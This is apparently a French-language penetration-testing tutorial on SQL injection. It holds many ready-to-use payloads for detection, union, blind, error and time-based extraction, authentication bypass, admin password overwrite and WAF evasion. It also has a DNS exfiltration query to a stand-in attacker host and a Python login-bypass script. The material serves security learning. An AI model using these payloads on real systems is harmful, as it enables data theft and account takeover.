# SQL Injection {{#include ../../banners/hacktricks-training.md}} ## Qu'est-ce que l'injection SQL ? Une **injection SQL** est une faille de sécurité qui permet aux attaquants de **perturber les requêtes de base de données** d'une application. Cette vulnérabilité peut permettre aux attaquants de **voir**, **modifier** ou **supprimer** des données auxquelles ils ne devraient pas avoir accès, y compris des informations d'autres utilisateurs ou toute donnée à laquelle l'application peut accéder. De telles actions peuvent entraîner des modifications permanentes de la fonctionnalité ou du contenu de l'application, voire compromettre le serveur ou provoquer un déni de service. ## Détection des points d'entrée Lorsqu'un site semble être **vulnérable à l'injection SQL (SQLi)** en raison de réponses serveur inhabituelles aux entrées liées à SQLi, la **première étape** est de comprendre comment **injecter des données dans la requête sans la perturber**. Cela nécessite d'identifier la méthode pour **s'échapper du contexte actuel** de manière efficace. Voici quelques exemples utiles : ``` [Nothing] ' " ` ') ") `) ')) ")) `)) ``` Ensuite, vous devez savoir comment **corriger la requête afin qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **entrer** des données afin que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **entrer** vos données et **ajouter un symbole de commentaire à la fin**. _Remarque : si vous pouvez voir des messages d'erreur ou si vous pouvez repérer des différences lorsque la requête fonctionne et lorsqu'elle ne fonctionne pas, cette phase sera plus facile._ ### **Commentaires** ```sql MySQL #comment -- comment [Note the space after the double dash] /*comment*/ /*! MYSQL Special SQL */ PostgreSQL --comment /*comment*/ MSQL --comment /*comment*/ Oracle --comment SQLite --comment /*comment*/ HQL HQL does not support comments ``` ### Confirmation par opérations logiques Une méthode fiable pour confirmer une vulnérabilité d'injection SQL consiste à exécuter une **opération logique** et à observer les résultats attendus. Par exemple, un paramètre GET tel que `?username=Peter` produisant un contenu identique lorsqu'il est modifié en `?username=Peter' or '1'='1` indique une vulnérabilité d'injection SQL. De même, l'application d'**opérations mathématiques** sert de technique de confirmation efficace. Par exemple, si l'accès à `?id=1` et `?id=2-1` produit le même résultat, cela indique une injection SQL. Exemples démontrant la confirmation par opération logique : ``` page.asp?id=1 or 1=1 -- results in true page.asp?id=1' or 1=1 -- results in true page.asp?id=1" or 1=1 -- results in true page.asp?id=1 and 1=2 -- results in false ``` Cette liste de mots a été créée pour essayer de **confirmer les SQLinjections** de la manière proposée : {{#file}} sqli-logic.txt {{#endfile}} ### Confirmation par le Temps Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les SQL injections aveugles** est de faire en sorte que la base de données effectue des actions qui auront un **impact sur le temps** nécessaire au chargement de la page.\ Par conséquent, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps à compléter : ``` MySQL (string concat and logical ops) 1' + sleep(10) 1' and sleep(10) 1' && sleep(10) 1' | sleep(10) PostgreSQL (only support string concat) 1' || pg_sleep(10) MSQL 1' WAITFOR DELAY '0:0:10' Oracle 1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10) SQLite 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) ``` Dans certains cas, les **fonctions de sommeil ne seront pas autorisées**. Alors, au lieu d'utiliser ces fonctions, vous pourriez faire en sorte que la requête **effectue des opérations complexes** qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément sur chaque technologie (le cas échéant)_. ### Identification du Back-end La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pourriez utiliser les _**fonctions de sommeil**_ de la section précédente ou celles-ci (tableau de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification): ```bash ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"], ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"], ["@@CONNECTIONS>0" ,"MSSQL"], ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"], ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"], ["USER_ID(1)=USER_ID(1)" ,"MSSQL"], ["ROWNUM=ROWNUM" ,"ORACLE"], ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"], ["LNNVL(0=123)" ,"ORACLE"], ["5::int=5" ,"POSTGRESQL"], ["5::integer=5" ,"POSTGRESQL"], ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"], ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"], ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"], ["current_database()=current_database()" ,"POSTGRESQL"], ["sqlite_version()=sqlite_version()" ,"SQLITE"], ["last_insert_rowid()>1" ,"SQLITE"], ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"], ["val(cvar(1))=1" ,"MSACCESS"], ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"], ["cdbl(1)=cdbl(1)" ,"MSACCESS"], ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` Aussi, si vous avez accès à la sortie de la requête, vous pourriez faire en sorte qu'elle **imprime la version de la base de données**. > [!NOTE] > Dans la suite, nous allons discuter de différentes méthodes pour exploiter différents types d'injection SQL. Nous utiliserons MySQL comme exemple. ### Identification avec PortSwigger {{#ref}} https://portswigger.net/web-security/sql-injection/cheat-sheet {{#endref}} ## Exploitation basée sur Union ### Détection du nombre de colonnes Si vous pouvez voir la sortie de la requête, c'est le meilleur moyen de l'exploiter.\ Tout d'abord, nous devons découvrir le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\ Deux méthodes sont généralement utilisées à cet effet : #### Order/Group by Pour déterminer le nombre de colonnes dans une requête, ajustez progressivement le nombre utilisé dans les clauses **ORDER BY** ou **GROUP BY** jusqu'à ce qu'une réponse fausse soit reçue. Malgré les fonctionnalités distinctes de **GROUP BY** et **ORDER BY** dans SQL, les deux peuvent être utilisés de manière identique pour déterminer le nombre de colonnes de la requête. ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True 1' ORDER BY 3--+ #True 1' ORDER BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True ``` ```sql 1' GROUP BY 1--+ #True 1' GROUP BY 2--+ #True 1' GROUP BY 3--+ #True 1' GROUP BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True ``` #### UNION SELECT Sélectionnez de plus en plus de valeurs nulles jusqu'à ce que la requête soit correcte : ```sql 1' UNION SELECT null-- - Not working 1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null,null-- - Worked ``` _Vous devez utiliser des valeurs `null` car dans certains cas, le type des colonnes des deux côtés de la requête doit être le même et null est valide dans tous les cas._ ### Extraire les noms de bases de données, les noms de tables et les noms de colonnes Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom de la table d'une base de données, les noms des colonnes de la table : ```sql #Database names -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata #Tables of a database -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database] #Column names -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] ``` _Il existe une méthode différente pour découvrir ces données sur chaque base de données différente, mais la méthodologie reste toujours la même._ ## Exploiting Hidden Union Based Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur un union semble inatteignable, cela signifie qu'il y a une **injection basée sur un union cachée**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur un union, il est nécessaire de discerner la requête d'exécution sur le backend. Cela peut être accompli en utilisant des techniques d'injection aveugle en parallèle avec les tables par défaut spécifiques à votre Système de Gestion de Base de Données (SGBD) cible. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du SGBD cible. Une fois la requête extraite, il est nécessaire d'adapter votre payload pour fermer en toute sécurité la requête originale. Ensuite, une requête union est ajoutée à votre payload, facilitant l'exploitation de l'injection basée sur un union nouvellement accessible. Pour des informations plus complètes, consultez l'article complet disponible à [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). ## Exploiting Error based Si pour une raison quelconque vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **ex-filtrer** des données de la base de données.\ En suivant un flux similaire à celui de l'exploitation basée sur un union, vous pourriez réussir à vider la base de données. ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` ## Exploiter le Blind SQLi Dans ce cas, vous ne pouvez pas voir les résultats de la requête ou les erreurs, mais vous pouvez **distingué** quand la requête **renvoie** une réponse **vraie** ou **fausse** car il y a différents contenus sur la page.\ Dans ce cas, vous pouvez abuser de ce comportement pour vider la base de données caractère par caractère : ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` ## Exploiter l'Error Blind SQLi C'est le **même cas que précédemment** mais au lieu de distinguer entre une réponse vraie/faux de la requête, vous pouvez **distinguer entre** une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une erreur SQL chaque fois que vous devinez correctement le caractère : ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` ## Exploiter les SQLi basés sur le temps Dans ce cas, il **n'y a pas** de moyen de **distinguer** la **réponse** de la requête en fonction du contexte de la page. Mais, vous pouvez faire en sorte que la page **prenne plus de temps à charger** si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée auparavant pour [confirmer une vulnérabilité SQLi](#confirming-with-timing). ```sql 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# ``` ## Requêtes Empilées Vous pouvez utiliser des requêtes empilées pour **exécuter plusieurs requêtes à la suite**. Notez que bien que les requêtes suivantes soient exécutées, les **résultats** ne sont **pas renvoyés à l'application**. Par conséquent, cette technique est principalement utile en relation avec des **vulnérabilités aveugles** où vous pouvez utiliser une seconde requête pour déclencher une recherche DNS, une erreur conditionnelle ou un délai. **Oracle** ne prend pas en charge les **requêtes empilées.** **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `QUERY-1-HERE; QUERY-2-HERE` ## Exploitation Hors Bande Si **aucune autre** méthode d'exploitation **n'a fonctionné**, vous pouvez essayer de faire en sorte que la **base de données exfiltre** les informations vers un **hôte externe** contrôlé par vous. Par exemple, via des requêtes DNS : ```sql select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ``` ### Exfiltration de données hors bande via XXE ```sql a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- - ``` ## Exploitation Automatisée Vérifiez la [SQLMap Cheatsheet](sqlmap/index.html) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap). ## Informations techniques spécifiques Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité d'injection SQL. Trouvez quelques astuces supplémentaires dépendantes de la technologie de base de données dans ce livre : - [MS Access](ms-access-sql-injection.md) - [MSSQL](mssql-injection.md) - [MySQL](mysql-injection/index.html) - [Oracle](oracle-injection.md) - [PostgreSQL](postgresql-injection/index.html) Ou vous trouverez **beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, MSSQL, SQLite et HQL dans** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) ## Contournement d'authentification Liste à essayer pour contourner la fonctionnalité de connexion : {{#ref}} ../login-bypass/sql-login-bypass.md {{#endref}} ### Contournement d'authentification par hachage brut ```sql "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système susceptible à l'injection SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, lorsqu'elles sont hachées, produisent des parties de commandes SQL inattendues, conduisant à un accès non autorisé. ```sql md5("ffifdyop", true) = 'or'6�]��!r,��b� sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! ``` ### Contournement de l'authentification par hachage injecté ```sql admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' ``` **Liste recommandée** : Vous devriez utiliser comme nom d'utilisateur chaque ligne de la liste et comme mot de passe toujours : _**Pass1234.**_\ _(Ces payloads sont également inclus dans la grande liste mentionnée au début de cette section)_ {{#file}} sqli-hashbypass.txt {{#endfile}} ### Contournement d'authentification GBK SI ' est échappé, vous pouvez utiliser %A8%27, et lorsque ' est échappé, il sera créé : 0xA80x5c0x27 (_╘'_) ```sql %A8%27 OR 1=1;-- 2 %8C%A8%27 OR 1=1-- 2 %bf' or 1=1 -- -- ``` Script Python : ```python import requests url = "http://example.com/index.php" cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) print r.text ``` ### Injection polyglotte (multicontexte) ```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ## Insert Statement ### Modifier le mot de passe d'un objet/utilisateur existant Pour ce faire, vous devez essayer de **créer un nouvel objet nommé comme le "master object"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose : - Créer un utilisateur nommé : **AdMIn** (lettres majuscules et minuscules) - Créer un utilisateur nommé : **admin=** - **SQL Truncation Attack** (lorsqu'il y a une sorte de **limite de longueur** dans le nom d'utilisateur ou l'email) --> Créer un utilisateur avec le nom : **admin \[beaucoup d'espaces] a** #### SQL Truncation Attack Si la base de données est vulnérable et que le nombre max de caractères pour le nom d'utilisateur est par exemple 30 et que vous souhaitez usurper l'identité de l'utilisateur **admin**, essayez de créer un nom d'utilisateur appelé : "_admin \[30 espaces] a_" et n'importe quel mot de passe. La base de données va **vérifier** si le **nom d'utilisateur** introduit **existe** dans la base de données. Si **non**, elle va **couper** le **nom d'utilisateur** au **nombre max de caractères autorisés** (dans ce cas à : "_admin \[25 espaces]_") et elle va **automatiquement supprimer tous les espaces à la fin en mettant à jour** dans la base de données l'utilisateur "**admin**" avec le **nouveau mot de passe** (une erreur pourrait apparaître mais cela ne signifie pas que cela n'a pas fonctionné). Plus d'infos : [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) _Note : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les dernières installations de MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, tenter d'insérer une chaîne qui est plus longue que la longueur d'un champ entraînera une erreur, et l'insertion échouera. Pour plus d'informations à ce sujet :_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) ### Vérification basée sur le temps d'insertion MySQL Ajoutez autant de `','',''` que vous le jugez nécessaire pour sortir de l'instruction VALUES. Si un délai est exécuté, vous avez une SQLInjection. ```sql name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` ### ON DUPLICATE KEY UPDATE La clause `ON DUPLICATE KEY UPDATE` dans MySQL est utilisée pour spécifier les actions que la base de données doit entreprendre lorsqu'une tentative d'insertion d'une ligne entraînerait une valeur dupliquée dans un index UNIQUE ou une CLÉ PRIMAIRE. L'exemple suivant démontre comment cette fonctionnalité peut être exploitée pour modifier le mot de passe d'un compte administrateur : Exemple de Payload d'Injection : Un payload d'injection pourrait être conçu comme suit, où deux lignes sont tentées d'être insérées dans la table `users`. La première ligne est un leurre, et la deuxième ligne cible l'email d'un administrateur existant dans l'intention de mettre à jour le mot de passe : ```sql INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; ``` Voici comment cela fonctionne : - La requête tente d'insérer deux lignes : une pour `generic_user@example.com` et une autre pour `admin_generic@example.com`. - Si la ligne pour `admin_generic@example.com` existe déjà, la clause `ON DUPLICATE KEY UPDATE` se déclenche, demandant à MySQL de mettre à jour le champ `password` de la ligne existante à "bcrypt_hash_of_newpassword". - Par conséquent, l'authentification peut ensuite être tentée en utilisant `admin_generic@example.com` avec le mot de passe correspondant au hash bcrypt ("bcrypt_hash_of_newpassword" représente le hash bcrypt du nouveau mot de passe, qui doit être remplacé par le hash réel du mot de passe souhaité). ### Extraire des informations #### Création de 2 comptes en même temps Lors de la tentative de création d'un nouvel utilisateur, un nom d'utilisateur, un mot de passe et un e-mail sont nécessaires : ``` SQLi payload: username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - A new user with username=otherUsername, password=otherPassword, email:FLAG will be created ``` #### Utilisation de décimal ou hexadécimal Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez besoin de commenter quoi que ce soit. Utilisation de **hex2dec** et **substr** : ```sql '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` Pour obtenir le texte, vous pouvez utiliser : ```python __import__('binascii').unhexlify(hex(215573607263)[2:]) ``` Utiliser **hex** et **replace** (et **substr**): ```sql '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' '+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' #Full ascii uppercase and lowercase replace: '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` ## Injection SQL routée L'injection SQL routée est une situation où la requête injectable n'est pas celle qui donne un résultat, mais la sortie de la requête injectable va à la requête qui donne un résultat. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) Exemple : ``` #Hex of: -1' union select login,password from users-- a -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a ``` ## Contournement WAF [Bypasses initiaux ici](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass) ### Contournement sans espaces Pas d'espace (%20) - contournement utilisant des alternatives d'espacement ```sql ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- ?id=1%0Cand%0C1=1%0C-- ?id=1%0Band%0B1=1%0B-- ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- ``` Pas d'espace - contournement en utilisant des commentaires ```sql ?id=1/*comment*/and/**/1=1/**/-- ``` Pas d'espace - contournement en utilisant des parenthèses ```sql ?id=(1)and(1)=(1)-- ``` ### No commas bypass No Comma - contournement utilisant OFFSET, FROM et JOIN ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` ### Bypasses génériques Blacklist utilisant des mots-clés - contournement en utilisant des majuscules/minuscules ```sql ?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# ``` Liste noire utilisant des mots-clés insensible à la casse - contournement en utilisant un opérateur équivalent ``` AND -> && -> %26%26 OR -> || -> %7C%7C = -> LIKE,REGEXP,RLIKE, not < and not > > X -> not between 0 and X WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) ``` ### Contournement WAF par notation scientifique Vous pouvez trouver une explication plus approfondie de cette astuce dans le [blog gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\ Fondamentalement, vous pouvez utiliser la notation scientifique de manière inattendue pour contourner le WAF : ``` -1' or 1.e(1) or '1'='1 -1' or 1337.1337e1 or '1'='1 ' or 1.e('')= ``` ### Contourner la restriction des noms de colonnes Tout d'abord, notez que si la **requête originale et la table dont vous souhaitez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag` Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme suit : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une sqlinjection, cela ressemblerait à : ```bash # This is an example with 3 columns that will extract the column number 3 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; ``` Ou en utilisant un **comma bypass** : ```bash # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c ``` Cette astuce a été tirée de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) ### Outils de suggestion de contournement WAF {{#ref}} https://github.com/m4ll0k/Atlas {{#endref}} ## Autres Guides - [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) ## Liste de Détection de Brute-Force {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt {{#endref}} ​ {{#include ../../banners/hacktricks-training.md}}